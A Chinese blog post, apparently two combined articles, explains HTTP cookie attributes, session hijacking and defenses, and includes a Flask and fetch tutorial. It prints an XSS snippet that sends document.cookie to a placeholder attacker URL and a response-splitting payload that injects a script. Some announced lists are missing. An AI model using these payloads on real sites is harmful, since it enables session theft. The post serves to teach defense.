、cookie的基本特性
如果不了解cookie,可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie:
Host: www.example.org Cookie: foo=value1;bar=value2 Accept: */*
http response
服务器给浏览器的返回可以设置cookie:
HTTP/1.1 200 OK Content-type: text/html Set-Cookie: name=value Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT (content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间,那么cookie会在浏览器退出时销毁,这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie,会在指定时间销毁,cookie的维持时间可以持续到浏览器退出之后,这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录,例如广告类站点会使用cookie记录浏览过哪些内容,搜索引擎会使用cookie记录历史搜索记录,这时也可以称作tracking cookie,因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候,可以指定secure属性,这时cookie只有通过https协议传输的时候才会带到网络请求中,不加密的http请求不会带有secure cookie。设置secure cookie的方式举例:
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候,也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe,例如www.a.com潜入了一个www.ad.com的广告iframe,那么www.ad.com设置的cookie属于不属于www.a.com,被称作第三方cookie。
supercookie
cookie会从属于一个域名,例如www.a.com,或者属于一个子域,例如b.a.com。但是如果cookie被声明为属于.com会发生什么?这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制,不允许设置顶级域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。现代主流浏览器都很好的处理了supercookie问题,但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题,那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash,silverlight),当cookie被删除时,从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是Base Auth,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。
个性化
cookie可以被用于记录一些信息,以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子,用户可以拥有自己的Google自定制主页,其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为,例如是否访问过本站点,有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话,如果这个cookie被攻击者窃取会发生什么?session被劫持! 攻击者劫持会话就等于合法登录了你的账户,可以浏览大部分用户资源。
攻击一旦站点中存在可利用的xss漏洞,攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。
var img=document.createElement('img'); img.src='http://evil-url?c='+ encodeURIComponent(document.cookie); document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了,自行google之。 防御 根据上面HttpOnly cookie的介绍,一旦一个cookie被设置为HttpOnly,js脚本就无法再获取到,而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持,但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击 大家都知道,利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括cookie信息。
如果开发者没有关闭这个页面,就可以利用xss漏洞向这个页面发起异步请求,获取到页面内容后parse出cookie信息,然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE=XST
这是一种古老的攻击方式,现在已经消失,写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求,又可以获取session信息了。之所以说是一种古老的攻击方式,因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点,当浏览器没有禁止异步发起trace的时代,很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过,用户使用了代理服务器,而代理服务器没有关闭trace支持,这样又可以trace了。
HTTP Response Splitting
通常的XSS攻击都是把输入内容注入到response的content中,HTTP Response Splitting是一种针对header的注入。例如,一个站点接受参数做302跳转:
www.example.com/?r=http://baidu.com
request信息:
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 Found Location: http://baidu.com Content-Type: text/html
这样页面就302跳转到百度了。攻击者利用r参数可以注入header,r参数不是简单的url,而是包含的header信息:
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了:
HTTP/1.1 302 Found Location: HTTP/1.1 200 OK Content-Type: text/html X-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html> Content-Type: text/html
有两个攻击要点:
防御 针对header的内容做过滤,不能漏掉,特别是Location,host,referrer等。说到底,这也是一种XSS攻击,只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等,防御的原则是对所有的输入进行sanitize,包括非用户输入的内容,比如referrer这种一般由浏览器带过来的信息,因为请求完全可以被伪造,未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式,cookie不仅存在于上层应用中,更流转于请求中。上层应用获取不到后,攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析,其中就包含了标识session的cookie。当然,完成网络监听需要满足一定的条件,这又是另外一个话题了。常见的方式:
防御使用https。使用https协议的请求都被ssl加密,理论上不可破解,即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式:
https是加密信道,在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解,例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么,使用https的站点就可以高枕无忧了吗?事实上,一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击:双协议
如果同时支持http和https,那么还是可以使用网络监听http请求获取cookie。 防御只支持https,不支持http。这样就好了吗?No.
https站点攻击:301重定向
例如www.example.com只支持https协议,当用户直接输入example.com(大部分用户都不会手动输入协议前缀),web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的!而且带了cookie,这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie,只允许在https上加密传输,在http请求中不会存在,这样就不会暴露在未加密的网络上了。 然后现实很残酷,很多站点根本无法做到所有的请求都走https。原因有很多,可能是成本考虑,可能是业务需求。 防御2 设置Strict-Transport-Security header,直接省略这个http请求!用户首次访问后,服务器设置了这个header以后,后面就会省略掉这次http 301请求。
cookie 是后端可以存储在用户浏览器中的小块数据。 Cookie 最常见用例包括用户跟踪,个性化以及身份验证。
Cookies 具有很多隐私问题,多年来一直受到严格的监管。
在本文中,主要侧重于技术方面:学习如何在前端和后端创建,使用 HTTP cookie。
后端示例是Flask编写的。如果你想跟着学习,可以创建一个新的Python虚拟环境,移动到其中并安装Flask
mkdir cookies && cd $_
python3 -m venv venv
source venv/bin/activate
pip install Flask
在项目文件夹中创建一个名为flask app.py的新文件,并使用本文的示例在本地进行实验。
首先,cookies 从何而来?谁创建 cookies ?
虽然可以使用document.cookie在浏览器中创建 cookie,但大多数情况下,后端的责任是在将响应客户端请求之前在请求中设置 cookie。
后端是指可以通过以下方式创建 Cookie:
后端可以在 HTTP 请求求中 Set-Cookie 属性来设置 cookie,它是由键/值对以及可选属性组成的相应字符串:
Set-Cookie: myfirstcookie=somecookievalue
什么时候需要创建 cookie?这取决于需求。
cookie 是简单的字符串。在项目文件夹中创建一个名为flask_app.py的Python文件,并输入以下内容:
from flask import Flask, make_response
app = Flask(__name__)
@app.route("/index/", methods=["GET"])
def index():
response = make_response("Here, take some cookie!")
response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
return response
然后运行应用程序:
FLASK_ENV=development FLASK_APP=flask_app.py flask run
当该应用程序运行时,用户访问http://127.0.0.1:5000/index/,后端将设置一个具有键/值对的名为Set-Cookie的响应标头。
(127.0.0.1:5000是开发中的 Flask 应用程序的默认侦听地址/端口)。
Set-Cookie标头是了解如何创建cookie的关键:
response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
大多数框架都有自己设置 cookie 的方法,比如Flask的set_cookie()。
访问http://127.0.0.1:5000/index/后,后端将在浏览器中设置cookie。要查看此cookie,可以从浏览器的控制台调用document.cookie:
或者可以在开发人员工具中选中Storage选项卡。单击cookie,会看到 cookie 具体的内容:
在命令行上,还可以使用curl查看后端设置了哪些 cookie
curl -I http://127.0.0.1:5000/index/
可以将 Cookie 保存到文件中以供以后使用:
curl -I http://127.0.0.1:5000/index/ --cookie-jar mycookies
在 stdout 上显示 cookie:
curl -I http://127.0.0.1:5000/index/ --cookie-jar -
请注意,没有HttpOnly属性的cookie,在浏览器中可以使用document.cookie上访问,如果设置了 HttpOnly 属性,document.cookie就读取不到。
Set-Cookie: myfirstcookie=somecookievalue; HttpOnly
现在,该cookie 仍将出现在 Storage 选项卡中,但是 document.cookie返回的是一个空字符串。
从现在开始,为方便起见,使用Flask的 response.set_cookie() 在后端上创建 cookie。
你的浏览器得到一个 cookie。现在怎么办呢?一旦有了 cookie,浏览器就可以将cookie发送回后端。
这有许多用途发如:用户跟踪、个性化,以及最重要的身份验证。
例如,一旦你登录网站,后端就会给你一个cookie:
Set-Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r
为了在每个后续请求中正确识别 我们的身份,后端会检查来自请求中浏览器的 cookie
要发送Cookie,浏览器会在请求中附加一个Cookie标头:
Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r
默认情况下,cookie 在用户关闭会话时即关闭浏览器时过期。要持久化cookie,我们可以通过expires或Max-Age属性
Set-Cookie: myfirstcookie=somecookievalue; expires=Tue, 09 Jun 2020 15:46:52 GMT; Max-Age=1209600
注意:Max-Age优先于expires。
考虑该后端,该后端在访问http://127.0.0.1:5000/时为其前端设置了一个新的 cookie。相反,在其他两条路径上,我们打印请求的cookie:
from flask import Flask, make_response, request
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d", path="/about/")
return response
@app.route("/about/", methods=["GET"])
def about():
print(request.cookies)
return "Hello world!"
@app.route("/contact/", methods=["GET"])
def contact():
print(request.cookies)
return "Hello world!"
运行该应用程序:
FLASK_ENV=development FLASK_APP=flask_app.py flask run
在另一个终端中,如果我们与根路由建立连接,则可以在Set-Cookie中看到cookie:
curl -I http://127.0.0.1:5000/ --cookie-jar cookies
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 23
Set-Cookie: id=3db4adj3d; Path=/about/
Server: Werkzeug/1.0.1 Python/3.8.3
Date: Wed, 27 May 2020 09:21:37 GMT
请注意,此时 cookie 具有Path属性:
Set-Cookie: id=3db4adj3d; Path=/about/
/about/ 路由并保存 cookit
curl -I http://127.0.0.1:5000/about/ --cookie cookies
在 Flask 应用程序的终端中运行如下命令,可以看到:
ImmutableMultiDict([('id', '3db4adj3d')])
127.0.0.1 - - [27/May/2020 11:27:55] "HEAD /about/ HTTP/1.1" 200 -
正如预期的那样,cookie 返回到后端。现在尝试访问 /contact/ 路由:
url -I http://127.0.0.1:5000/contact/ --cookie cookies
在 Flask 应用程序的终端中运行如下命令,可以看到:
ImmutableMultiDict([])
127.0.0.1 - - [27/May/2020 11:29:00] "HEAD /contact/ HTTP/1.1" 200 -
这说明啥?cookie 的作用域是Path 。具有给定路径属性的cookie不能被发送到另一个不相关的路径,即使这两个路径位于同一域中。
这是cookie权限的第一层。
在cookie创建过程中省略Path时,浏览器默认为/。
cookie 的 Domain 属性的值控制浏览器是否应该接受cookie以及cookie返回的位置。
让我们看一些例子。
查看 https://serene-bastion-01422.herokuapp.com/get-wrong-domain-cookie/设置的cookie:
Set-Cookie: coookiename=wr0ng-d0m41n-c00k13; Domain=api.valentinog.com
这里的 cookie 来自serene-bastion-01422.herokuapp.com,但是Domain属性具有api.valentinog.com。
浏览器没有其他选择来拒绝这个 cookie。比如 Chrome 会给出一个警告(Firefox没有)
查看 https://serene-bastion-01422.herokuapp.com/get-wrong-subdomain-cookie/设置的cookie:
Set-Cookie: coookiename=wr0ng-subd0m41n-c00k13; Domain=secure-brushlands-44802.herokuapp.com
这里的 Cookie 来自serene-bastion-01422.herokuapp.com,但**“Domain”**属性是secure-brushlands-44802.herokuapp.com。
它们在相同的域上,但是子域名不同。同样,浏览器也拒绝此cookie:
查看 https://www.valentinog.com/get-domain-cookie.html设置的cookie:
set-cookie: cookiename=d0m41n-c00k13; Domain=valentinog.com
此cookie是使用 Nginx add_header在Web服务器上设置的:
add_header Set-Cookie "cookiename=d0m41n-c00k13; Domain=valentinog.com";
这里使用 Nginx 中设置cookie的多种方法。Cookie 是由 Web 服务器或应用程序的代码设置的,对于浏览器来说无关紧要。
重要的是 cookie 来自哪个域。
在此浏览器将愉快地接受cookie,因为Domain中的主机包括cookie所来自的主机。
换句话说,valentinog.com包括子域名www.valentinog.com。
同时,对valentinog.com的新请求,cookie 都会携带着,以及任何对valentinog.com子域名的请求。
这是一个附加了Cookie的 www 子域请求:
下面是对另一个自动附加cookie的子域的请求
查看 https://serene-bastion-01422.herokuapp.com/get-domain-cookie/:设置的 cookie:
Set-Cookie: coookiename=d0m41n-c00k13; Domain=herokuapp.com
这里的 cookie 来自serene-bas-01422.herokuapp.com,Domain 属性是herokuapp.com。浏览器在这里应该做什么
你可能认为serene-base-01422.herokuapp.com包含在herokuapp.com域中,因此浏览器应该接受cookie。
相反,它拒绝 cookie,因为它来自公共后缀列表中包含的域。
Public Suffix List(公共后缀列表)。此列表列举了顶级域名和开放注册的域名。浏览器禁止此列表上的域名被子域名写入Cookie。
查看 https://serene-bastion-01422.herokuapp.com/get-subdomain-cookie/:设置的 cookie:
Set-Cookie: coookiename=subd0m41n-c00k13
当域在cookie创建期间被省略时,浏览器会默认在地址栏中显示原始主机,在这种情况下,我的代码会这样做:
response.set_cookie(key="coookiename", value="subd0m41n-c00k13")
当 Cookie 进入浏览器的 Cookie 存储区时,我们看到已应用Domain :
现在,我们有来自serene-bastion-01422.herokuapp.com 的 cookie, 那 cookie 现在应该送到哪里?
如果你访问https://serene-bastion-01422.herokuapp.com/,则 cookie 随请求一起出现:
但是,如果访问herokuapp.com,则 cookie 不会随请求一起出现:
概括地说,浏览器使用以下启发式规则来决定如何处理cookies(这里的发送者主机指的是你访问的实际网址):
一旦浏览器接受了cookie,并且即将发出请求,它就会说:
Domain 和 Path 属性一直是 cookie 权限的第二层。
Cookies 可以通过AJAX请求传播。AJAX 请求是使用 JS (XMLHttpRequest或Fetch)进行的异步HTTP请求,用于获取数据并将其发送回后端。
考虑 Flask的另一个示例,其中有一个模板,该模板又会加载 JS 文件:
from flask import Flask, make_response, render_template
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d")
return response
以下是 templates/index.html 模板:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<button>FETCH</button>
</body>
<script src="{{ url_for('static', filename='index.js') }}"></script>
</html>
下面是 static/index.js 的内容:
const button = document.getElementsByTagName("button")[0];
button.addEventListener("click", function() {
getACookie();
});
function getACookie() {
fetch("/get-cookie/")
.then(response => {
// make sure to check response.ok in the real world!
return response.text();
})
.then(text => console.log(text));
}
当访问http://127.0.0.1:5000/时,我们会看到一个按钮。通过单击按钮,我们向/get-cookie/发出获取请求并获取Cookie。正如预期的那样,cookie 落在浏览器的 Cookie storage中。
对 Flask 应用程序进行一些更改,多加一个路由:
from flask import Flask, make_response, request, render_template, jsonify
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d")
return response
@app.route("/api/cities/", methods=["GET"])
def cities():
if request.cookies["id"] == "3db4adj3d":
cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
return jsonify(cities)
return jsonify(msg="Ops!")
另外,调整一下 JS 代码,用于下请求刚新增的路由:
const button = document.getElementsByTagName("button")[0];
button.addEventListener("click", function() {
getACookie().then(() => getData());
});
function getACookie() {
return fetch("/get-cookie/").then(response => {
// make sure to check response.ok in the real world!
return Promise.resolve("All good, fetch the data");
});
}
function getData() {
fetch("/api/cities/")
.then(response => {
// make sure to check response.ok in the real world!
return response.json();
})
.then(json => console.log(json));
当访问http://127.0.0.1:5000/时,我们会看到一个按钮。通过单击按钮,我们向/get-cookie/发出获取请求以获取Cookie。Cookie出现后,我们就会对/api/cities/再次发出Fetch请求。
在浏览器的控制台中,可以看到请求回来 的数据。另外,在开发者工具的Network选项卡中,可以看到一个名为Cookie的头,这是通过AJAX请求传给后端。
只要前端与后端在同一上下文中,在前端和后端之间来回交换cookie就可以正常工作:我们说它们来自同源。
这是因为默认情况下,Fetch 仅在请求到达触发请求的来源时才发送凭据,即 Cookie。
考虑另一种情况,在后端独立运行,可以这样启动应用程序:
FLASK_ENV=development FLASK_APP=flask_app.py flask run
现在,在 Flask 应用程序之外的其他文件夹中,创建index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<button>FETCH</button>
</body>
<script src="index.js"></script>
</html>
使用以下代码在同一文件夹中创建一个名为index.js的 JS 文件:
button.addEventListener("click", function() {
getACookie().then(() => getData());
});
function getACookie() {
return fetch("http://localhost:5000/get-cookie/").then(response => {
// make sure to check response.ok in the real world!
return Promise.resolve("All good, fetch the data");
});
}
function getData() {
fetch("http://localhost:5000/api/cities/")
.then(response => {
// make sure to check response.ok in the real world!
return response.json();
})
.then(json => console.log(json));
}
在同一文件夹中,从终端运行:
npx serve
此命令为您提供了要连接的本地地址/端口,例如http://localhost:42091/。访问页面并尝试在浏览器控制台打开的情况下单击按钮。在控制台中,可以看到:
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)
因为 http://localhost:5000/ 与http://localhost:42091/.不同。它们是不同的域,因此会 CORS 的限制。
CORS 是一个 W3C 标准,全称是“跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨域的服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制。
整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与普通的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨域,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感知。因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨域通信。
默认情况下,除非服务器设置了Access-Control-Allow-Origin的特定HTTP标头,否则浏览器将阻止AJAX对非相同来源的远程资源的请求。
要解决此第一个错误,我们需要为Flask配置CORS:
pip install flask-cors
然后将 CORS 应用于 Flask:
from flask import Flask, make_response, request, render_template, jsonify
from flask_cors import CORS
app = Flask(__name__)
CORS(app=app)
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
response = make_response("Here, take some cookie!")
response.set_cookie(key="id", value="3db4adj3d")
return response
@app.route("/api/cities/", methods=["GET"])
def cities():
if request.cookies["id"] == "3db4adj3d":
cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
return jsonify(cities)
return jsonify(msg="Ops!")
现在尝试在浏览器控制台打开的情况下再次单击按钮。在控制台中你应该看到
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/api/cities/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)
尽管我们犯了同样的错误,但这次的罪魁祸首是第二个路由。
你可以通过查看 “Network” 标签中的请求来确认,没有发送此类Cookie:
为了在不同来源的Fetch请求中包含cookie,我们必须提credentials 标志(默认情况下,它是相同来源)。
如果没有这个标志,Fetch 就会忽略 cookie,可以这样修复:
const button = document.getElementsByTagName("button")[0];
button.addEventListener("click", function() {
getACookie().then(() => getData());
});
function getACookie() {
return fetch("http://localhost:5000/get-cookie/", {
credentials: "include"
}).then(response => {
// make sure to check response.ok in the real world!
return Promise.resolve("All good, fetch the data");
});
}
function getData() {
fetch("http://localhost:5000/api/cities/", {
credentials: "include"
})
.then(response => {
// make sure to check response.ok in the real world!
return response.json();
})
.then(json => console.log(json));
}
credentials: "include" 必须在第一个 Fetch 请求中出现,才能将Cookie保存在浏览器的Cookie storage 中:
fetch("http://localhost:5000/get-cookie/", {
credentials: "include"
})
它还必须在第二个请求时出现,以允许将cookie传输回后端
fetch("http://localhost:5000/api/cities/", {
credentials: "include"
})
再试一次,我们还需要在后端修复另一个错误:
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’).
为了允许在CORS请求中传输cookie,后端还需要设置 Access-Control-Allow-Credentials标头。
CORS(app=app, supports_credentials=True)
要点:为了使Cookie在不同来源之间通过AJAX请求传递,可以这样做:
cookie可以通过AJAX请求传递,但是它们必须遵守我们前面描述的域规则。
Secure 属性是说如果一个 cookie 被设置了Secure=true,那么这个cookie只能用https协议发送给服务器,用 http 协议是不发送的。换句话说,cookie 是在https的情况下创建的,而且他的Secure=true,那么之后你一直用https访问其他的页面(比如登录之后点击其他子页面),cookie会被发送到服务器,你无需重新登录就可以跳转到其他页面。但是如果这时你把url改成http协议访问其他页面,你就需要重新登录了,因为这个cookie不能在http协议中发送。
可以这样设置 Secure 属性
response.set_cookie(key="id", value="3db4adj3d", secure=True)
如果要在真实环境中尝试,请可以运行以下命令,并注意curl在此处是不通过HTTP保存cookie:
curl -I http://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -
相反,通过HTTPS,cookie 出现在cookie jar中:
curl -I https://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -
cookie jar 文件:
serene-bastion-01422.herokuapp.com FALSE / TRUE 0
不要被Secure欺骗:浏览器通过HTTPS接受cookie,但是一旦cookie进入浏览器,就没有任何保护。
因为带有 Secure 的 Cookie 一般也不用于传输敏感数据.
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。
XSS 全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
如果有设置 HttpOnly 看起来是这样的:
Set-Cookie: "id=3db4adj3d; HttpOnly"
在 Flask 中
response.set_cookie(key="id", value="3db4adj3d", httponly=True)
这样,cookie 设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息。如果在控制台中进行检查,则document.cookie将返回一个空字符串。
何时使用HttpOnly?cookie 应该始终是HttpOnly的,除非有特定的要求将它们暴露给运行时 JS。
查看https://serene-bastion-01422.herokuapp.com/get-cookie/ 中所携带的 Cookie
Set-Cookie: simplecookiename=c00l-c00k13; Path=/
first-party是指你登录或使用的网站所发行的 cookie,而third-party cookie 常为一些广告网站,有侵犯隐私以及安全隐患。
我们将这类 Cookie 称为 first-party。也就是说,我在浏览器中访问该URL,并且如果我访问相同的URL或该站点的另一个路径(假设Path为/),则浏览器会将cookie发送回该网站。
现在考虑在https://serene-bastion-01422.herokuapp.com/get-frog/上的另一个网页。该页面设置了一个cookie,此外,它还从https://www.valentinog.com/cookie-frog.jpg托管的远程资源中加载图像。
该远程资源又会自行设置一个cookie:
我们将这种 cookie 称为third-party(第三方) Cookie。
第三方 Cookie 除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。
<img src="facebook.com" style="visibility:hidden;">
浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。
Cookie 的SameSite 属性用来限制third-party Cookie,从而减少安全风险。它可以设置三个值。
Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。
Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。
Set-Cookie: CookieName=CookieValue; SameSite=Lax;
导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。
设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。
Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。
下面的设置无效。
Set-Cookie: widget_session=abc123; SameSite=None
下面的设置有效。
Set-Cookie: widget_session=abc123; SameSite=None; Secure
身份验证是 web 开发中最具挑战性的任务之一。关于这个主题似乎有很多困惑,因为JWT中的基于令牌的身份验证似乎要取代“旧的”、可靠的模式,如基于会话的身份验证。
来看看 cookie 在这里扮演什么角色。
身份验证是 cookie 最常见的用例之一。
当你访问一个请求身份验证的网站时,后端将通过凭据提交(例如通过表单)在后台发送一个Set-Cookie标头到前端。
型的会话 cookie 如下所示:
Set-Cookie: sessionid=sty1z3kz11mpqxjv648mqwlx4ginpt6c; expires=Tue, 09 Jun 2020 15:46:52 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax
这个Set-Cookie头中,服务器可以包括一个名为session、session id或类似的cookie。
这是浏览器可以清楚看到的唯一标识符。每当通过身份验证的用户向后端请求新页面时,浏览器就会发回会话cookie。
基于会话的身份验证是有状态的,因为后端必须跟踪每个用户的会话。这些会话的存储可能是:
在这三个会话存储中,Redis 之类应优先于数据库或文件系统。
请注意,基于会话的身份验证与浏览器的会话存储无关。
之所以称为基于会话的会话,是因为用于用户识别的相关数据存在于后端的会话存储中,这与浏览器的会话存储不同。
只要能使用就使用它。基于会话的身份验证是一种最简单、安全、直接的网站身份验证形式。默认情况下,它可以在Django等所有流行的web框架上使用。
但是,它的状态特性也是它的主要缺点,特别是当网站是由负载均衡器提供服务时。在这种情况下,像粘贴会话,或者在集中的Redis存储上存储会话这样的技术会有所帮助。
JWT是 JSON Web Tokens的缩写,是一种身份验证机制,近年来越来越流行。
JWT 非常适合单页和移动应用程序,但它带来了一系列新挑战。想要针对API进行身份验证的前端应用程序的典型流程如下:
这种方法带来的主要问题是:为了使用户保持登录状态,我将该令牌存储在前端的哪个地方?
对于前端开发来说,最自然的事情是将令牌保存在localStorage中。由于许多原因,这很糟糕。
localStorage很容易从 JS 代码访问,而且它很容易成为XSS攻击的目标。
为了解决此问题,大多数开发人员都将JWT令牌保存在cookie中,以为HttpOnly和Secure可以保护cookie,至少可以免受XSS攻击。
将 SameSite 设置为 strict 就可以完全保护 JWT免受CSRF攻击
设置为SameSite=Strict的新SameSite属性还将保护你的“熟化” JWT免受CSRF攻击。但是,由于SameSite=Strict不会在跨域请求上发送cookie,因此,这也完全使JWT的用例无效。
那SameSite=Lax呢?此模式允许使用安全的HTTP方法(即GET,HEAD,OPTIONS和TRACE)将 cookie发送回去。POST 请求不会以任何一种方式传输 cookie。
实际上,将JWT标记存储在cookie或localStorage中都不是好主意。
如果你确实要使用JWT而不是坚持使用基于会话的身份验证并扩展会话存储,则可能要使用带有刷新令牌的JWT来保持用户登录。
自1994年以来,HTTP cookie一直存在,它们无处不在。
Cookies是简单的文本字符串,但可以通过Domain和Path对其权限进行控制,具有Secure的Cookie,只能通过 HTTP S进行传输,而可以使用 HttpOnly从 JS隐藏。
但是,对于所有预期的用途,cookie都可能使用户暴露于攻击和漏洞之中。
浏览器的供应商和Internet工程任务组(Internet Engineering Task Force)年复一年地致力于提高cookie的安全性,最近的一步是SameSite。
那么,什么才算是比较安全cookie?,如下几点:
人才们的 【三连】 就是小智不断分享的最大动力,如果本篇博客有任何错误和建议,欢迎人才们留言,最后,谢谢大家的观看。
作者:valentinog 译者:前端小智 来源:valentinog
原文:https://gizmodo.com/the-complete-guide-to-cookies-and-all-the-stuff-w-1794247382
